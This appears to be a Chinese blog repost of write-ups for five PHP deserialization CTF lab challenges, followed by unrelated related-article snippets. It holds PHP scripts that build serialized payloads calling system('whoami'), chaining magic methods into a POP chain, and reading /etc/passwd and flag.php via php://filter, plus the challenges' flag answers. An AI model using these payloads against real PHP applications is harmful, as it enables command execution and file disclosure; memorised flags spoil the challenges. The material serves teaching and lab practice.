PHP反序列化命令执行+PHP反序列化POP大链 +PHP反序列化基础

[题目信息]:

题目名称题目难度
PHP反序列化命令执行1

[题目考点]:

反序列化命令执行,获取题目flag。

[Flag格式]:

SangFor{t5euvZ_OB8Jd_h2-}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

docker-compose up -d

[题目writeup]:

name赋值为system,$male赋值为whoami,即调用system(whoami)

<?php
class A{public $name;public $male;

}
$a = new A();
$a -> name = "system";
$a -> male = "whoami";
echo serialize($a);

?>

5、序列化结果:

6、最终结果:







[题目信息]:

题目名称题目难度
PHP反序列化POP大链2

[题目考点]:

通过多个类中不同的魔术方法,构造反序列化POP链,获取题目flag。

[Flag格式]:

SangFor{qMWi3Uhs1r2uX6FB}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

docker-compose up -d

[题目writeup]:

实验主页

代码分析

1、首先通读代码,代码中存在6个类,每一个类中定义了两个变量,同时每个类中定义了不同的魔术方法。

__desctruct()
类执行完毕以后调用,其最主要的作用是拿来做垃圾回收机制。
__toString()
在对象当做字符串的时候会被调用
___call() 
当所调用的成员方法不存在(或者没有权限)该类时调用,用于对错误后做一些操作或者提示信息
__invoke()
直接调用对象名当方法使用时,就调用的是__invoke()方法

2、我们的目标是获取flag,函数getFlag()在类getFlag类中,而__destruct()魔术方法可以作为POP链的触发点

3、通过构造POP链,把__destruct()函数作为触发点,getFlag()函数作为终止点,最终获取flag

<?php
class start_gg
{public $mod1; public $mod2;public function __destruct(){$this->mod1->test1();}
}
class Call
{public $mod1; public $mod2;public function test1(){$this->mod1->test2();}
}
class funct
{public $mod1;public $mod2;public function __call($test2,$arr){$s1 = $this->mod1;$s1();}
}
class func //1
{public $mod1; //string1public $mod2;public function __invoke(){$this->mod2 = "字符串拼接".$this->mod1;} 
}
class string1 //2
{public $str1; //GetFlagpublic $str2;public function __toString(){$this->str1->get_flag();return "1";}
}
class GetFlag //3
{public function get_flag(){echo "i,m ok xxxxxxxx";}
}
$GetFlag    = new GetFlag();    
$func       = new func();
$string1    = new string1();
$funct      = new funct();
$Call       = new Call();
$start_gg   = new start_gg();

$start_gg->mod1 = $Call;
//pop链起始点
$Call->mod1 = $funct;
#类Call中的变量$mod1设置为funct的实例化对象,当调用$mod1中的test2()方法,funct类中并不存在test2()成员方法(函数),就会自动寻找魔术方法__call()并调用它
$funct->mod1 = $func;
#类funct中的mod1设置为类func的实例化对象,在代码中 $s1 = $this->mod1;$s1<==>$func类的实例化对象,$s1()是调用函数的方法,但现在$s1为类的实例化对象,所有会自动寻找并调用func类中的__invoke魔术方法

$func->mod1 = $string1;
#现在POP链执行了func中的魔术方法__invoke, $this->mod2 = "字符串拼接".$this->mod1;代码会被执行,其中$mod1被当作字符串处理,可以将$mod1设置为class string1的实例化对象,会自动搜索并调用类string1中的__string()魔术方法
$string1->str1 = $GetFlag;
#最后,将类string中的变量$str1设置为类GetFlag的实例化对象,会调用$this->str1->get_flag();获取flag

echo serialize($start_gg);

5、输出序列化内容为(红框内容不需要):

6、最终结果:









[题目信息]:

题目名称题目难度
PHP反序列化pop链基础1

[题目考点]:

PHP反序列化pop链基础

[Flag格式]:

SangFor{reIqYxxlWeD4bABr}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

docker-compose up -d

[题目writeup]:

实验主页

代码分析

1、首先定义类A,类B

2、在类A中存在公有变量$classname和__destruct()魔术方法,在魔术方法中调用了类B中的read_file()函数

类执行完毕以后调用,其最主要的作用是拿来做垃圾回收机制

3、在类B中,定义了私有变量$filename,同时,read_file()函数中存在file_get_contents()函数,并且参数为$filename。

4、最后存在unserialize()函数,同时参数也可控

利用方法

1、实例化类A

2、并且将类A中的公有变量$classname赋值为类B的实例化对象

那么,当实例化类A的同时也实例化了类B

3、然后将类B中的私有变量$filename赋值所需读取文件名称

4、将实例化类A序列化并输出

5、最后将输出结果通过GET方式输入

<?php
class A{public $classname;
}
class B{private $filename="/etc/passwd";
}
$a = new A();
$a -> classname = new B();

echo urlencode(serialize($a));
?>

5、输出序列化内容为:

6、最终结果:

既然可以读取passwd文件,那么尝试读一下flag.php文件吧!







[题目信息]:

题目名称题目难度
PHP反序列化基础-21

[题目考点]:

PHP反序列化基础2

[Flag格式]:

SangFor{8wTFrFxSKMzXM3ng}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

docker-compose up -d

[题目writeup]:

实验主页

代码分析

1、首先定义类Ser

2、第二行定义公有变量 $name

3、存在魔术方法wakeup

当实例化的类反序列化时会自动触发__wakeup()魔术方法

4、在__wakeup函数中存在file_get_contents()函数,并且参数为$name,可控(注意成员变量$name为私有类型)

成员变量大致可以分为三类:

  • public 共有类型
  • private 私有类型
  • protected 被保护类型

当成员变量为私有类型时,当$name被反序列化时,前后为%00。

如果不做处理,在cmd命令行中显示类似于空格,复制到url地址栏时会被转化为%20,也就是空格的url编码,所以需要将输出的结果进行url。

5、最后存在unserialize()函数,并且参数可控

利用方法

1、实例化类Ser

2、使用php://filter伪协议,$name赋值所需读取文件名称

3、将实例化类Ser序列化并输出

4、将输出结果通过GET方式输入

<?php 
class Ser{private $name = "php://filter/read=convert.base64-encode/resource=flag.php";
}
$a = new Ser();
echo urlencode(serialize($a));
?>

将base64进行解码。









[题目信息]:

题目名称题目难度
PHP反序列化基础1

[题目考点]:

1. PHP反序列化基础

[Flag格式]:

SangFor{k26Bj-V9ENIY7tBy}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

docker-compose up -d

[题目writeup]:

实验主页

代码分析

1、首先定义类Ser

2、第二行定义公有变量 $name

3、存在魔术方法 __toString

当实例化的类被当作字符串处理时会自动触发__toString魔术方法

4、在__toString函数中存在file_get_contents()函数,并且参数为$name,可控

5、最后存在unserialize()函数,并且参数可控

利用方法

1、实例化类Ser

2、使用php://filter伪协议,$name赋值所需读取文件名称

3、将实例化类Ser序列化并输出

4、将输出结果通过GET方式输入

<?php 
class Ser{public $name = "php://filter/read=convert.base64-encode/resource=flag.php";
}
$a = new Ser();
echo serialize($a);
?>

将base64进行解码。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/312308.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

HADOOP大数据处理技术9-JavaSe

心若有阳光 你便会看见这个世界有那么多美好值得期待和向往 ​ 2024/4/9 13.static 用于修饰属性和方法 static属性通过类名访问 1&#xff09;static实现内存共享 bean1和bean2的内存是互相独立的 怎么实现内存共享呢&#xff1f; 共享内存​public class Comm { public…

Java中的装箱和拆箱

本文先讲述装箱和拆箱最基本的东西&#xff0c;再来看一下面试笔试中经常遇到的与装箱、拆箱相关的问题。 目录&#xff1a; 装箱和拆箱概念 装箱和拆箱是如何实现的 面试中相关的问题 装箱和拆箱概念 Java为每种基本数据类型都提供了对应的包装器类型&#xff0c;至于为…

git报错

这里写自定义目录标题 git报错Permission denied (publickey). fatal: Could not read from remote repository. Please make sure you have the correct access rights and the repository exists. 有一个原因就是在github上设置对应密钥时&#xff0c;有一个key获取应该设置为…

在Debian 12系统上安装Docker

Docker 在 Debian 12 上的安装 安装验证测试更多信息 引言 在现代的开发环境中&#xff0c;容器技术发挥着至关重要的作用。Docker 提供了快速、可靠和易于使用的容器化解决方案&#xff0c;使开发人员和 DevOps 专业人士能够以轻松的方式将应用程序从一个环境部署到另一个环…

Ubuntu20从0开始选择合适版本手动安装cuda,torch-geometric,jax

一个全新的ubuntu20台式机&#xff0c;在Additional Drivers安装nvidia-470-server&#xff08;一开始安装450&#xff0c;cunda版本只能到11.0&#xff0c;torch有些库用不了&#xff0c;可以直接切换点击Apply Changes重启就行&#xff09; nvidia-smi查看CUDA Version可到…

Docker之自定义镜像上传至阿里云

一、Alpine介绍 Alpine Linux是一个轻量级的Linux发行版&#xff0c;专注于安全、简单和高效。它采用了一个小巧的内核和基于musl libc的C库&#xff0c;使得它具有出色的性能和资源利用率。 Alpine Linux的主要特点包括&#xff1a; 小巧轻量&#xff1a;Alpine Linux的安装…

Android 自定义SwitchPreference

1. 为SwitchPreference 添加背景&#xff1a;custom_preference_background.xml <?xml version"1.0" encoding"utf-8"?> <selector xmlns:android"http://schemas.android.com/apk/res/android"><item><shape android:s…

计算机视觉动作识别——YOWO用于实时时空动作定位与识别的算法解析

摘要 时空动作定位要求将两种信息源整合到设计的架构中&#xff1a;(1) 来自先前帧的时间信息和(2) 来自关键帧的空间信息。当前的最先进方法通常使用单独的网络提取这些信息&#xff0c;并使用额外的机制进行融合以获得检测结果。YOWO是一个用于视频流中实时时空动作定位的统…

rk3588 安卓调试

rknn装上了android系统&#xff0c;用type-c usb连接上电脑&#xff0c;设备管理器发现了rk3588&#xff0c;但是Android Studio没有发现设备 后来怀疑是驱动没有安装&#xff0c;我用的驱动下载地址&#xff1a; 瑞芯微Rockchip驱动安装助手(适用于RK3308 RK3399等) Mcuzone…

【TensorRT】TensorRT C# API 项目更新 (1):支持动态Bath输入模型推理(下篇)

4. 接口应用 关于该项目的调用方式在上一篇文章中已经进行了详细介绍&#xff0c;具体使用可以参考《最新发布&#xff01;TensorRT C# API &#xff1a;基于C#与TensorRT部署深度学习模型》&#xff0c;下面结合Yolov8-cls模型详细介绍一下更新的接口使用方法。 4.1 创建并配…

Java SpringBoot基于微信小程序的高速公路服务区充电桩在线预定系统,附源码

博主介绍&#xff1a;✌IT徐师兄、7年大厂程序员经历。全网粉丝15W、csdn博客专家、掘金/华为云//InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精彩专栏推荐订阅&#x1f447;&#x1f3…

中国传媒网CEO徐晓艺:第六届世界布商大会启幕 共探全球纺织业转型与合作

日前,2023国际纺织制造商联合会中国绍兴柯桥大会、2023第六届世界布商大会在浙江绍兴柯桥启幕,来自全球55个国家和地区的纺织行业代表围绕“绿色、循环、数字化——纺织工业新动源”主题,共探全球纺织业转型与合作。 “当前,纺织服装行业进入变革期,以数字、绿色为特征的产业变…

华硕ROG幻16笔记本电脑模式切换管理工具完美替代华硕奥创中心管理工具

文章目录 华硕ROG幻16笔记本电脑模式切换管理工具完美替代华硕奥创中心管理工具1. 介绍2. 下载3. 静音模式、平衡模式、增强模式配置4. 配置电源方案与模式切换绑定5. 启动Ghelper控制面板6. 目前支持的设备型号 华硕ROG幻16笔记本电脑模式切换管理工具完美替代华硕奥创中心管理…

Day99:云上攻防-云原生篇K8s安全实战场景攻击Pod污点Taint横向移动容器逃逸

目录 云原生-K8s安全-横向移动-污点Taint 云原生-K8s安全-Kubernetes实战场景 知识点&#xff1a; 1、云原生-K8s安全-横向移动-污点Taint 2、云原生-K8s安全-Kubernetes实战场景 云原生-K8s安全-横向移动-污点Taint 如何判断实战中能否利用污点Taint&#xff1f; 设置污点…

Qt对象池,单例模式,对象池可以存储其他类的对象指针

代码描述&#xff1a; 写了一个类&#xff0c;命名为对象池&#xff08;ObjectPool &#xff09;&#xff0c;里面放个map容器。 3个功能&#xff1a;添加对象&#xff0c;删除对象&#xff0c;查找对象 该类只构建一次&#xff0c;故采用单例模式功能描述&#xff1a;对象池可…

6-pytorch - 网络的保存和提取

前言 我们训练好的网络&#xff0c;怎么保存和提取呢&#xff1f; 总不可以一直不关闭电脑吧&#xff0c;训练到一半&#xff0c;想结束到明天再来训练&#xff0c;这就需要进行网络的保存和提取了。 本文以前面博客3-pytorch搭建一个简单的前馈全连接层网络&#xff08;回归问…

Aurora 协议学习理解与应用——Aurora 64B66B协议学习

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 Aurora 协议学习理解与应用——Aurora 64B66B协议学习 概述数据发送和接收帧传输过程链路层帧描绘64B/66B 编码多lane传输 帧接收过程Control Block Stripping 控制块剥离多l…

武汉星起航:跨境电商新引擎,助力中国品牌全球崛起

在全球贸易体系日益紧密的今天&#xff0c;跨境电商以其独特的优势&#xff0c;正成为外贸发展的新引擎。武汉星起航电子商务有限公司&#xff0c;作为跨境电商领域的佼佼者&#xff0c;凭借其深厚的行业积累和前瞻的战略布局&#xff0c;在推动中国品牌全球崛起方面发挥着重要…

Qt+vstudio2022的报错信息积累

从今天开始记录一下平常开发工作中的报错记录&#xff0c;后续有错误动态补充&#xff01; 报错信息&#xff1a;【MSB8041】此项目需要 MFC 库。从 Visual Studio 安装程序(单个组件选项卡)为正在使用的任何工具集和体系结构安装它们。 解决&#xff1a; 背景&#xff1a;换…

【Blockchain】连接智能合约与现实世界的桥梁Chainlink

去中心化预言机试图实现依赖因果关系而不是个人关系的去信任和确定性结果。它以与区块链网络相同的方式实现这些结果&#xff0c;即在许多网络参与者之间分配信任。通过利用许多不同的数据源并实施不受单个实体控制的预言机系统&#xff0c;去中心化的预言机网络有可能为智能合…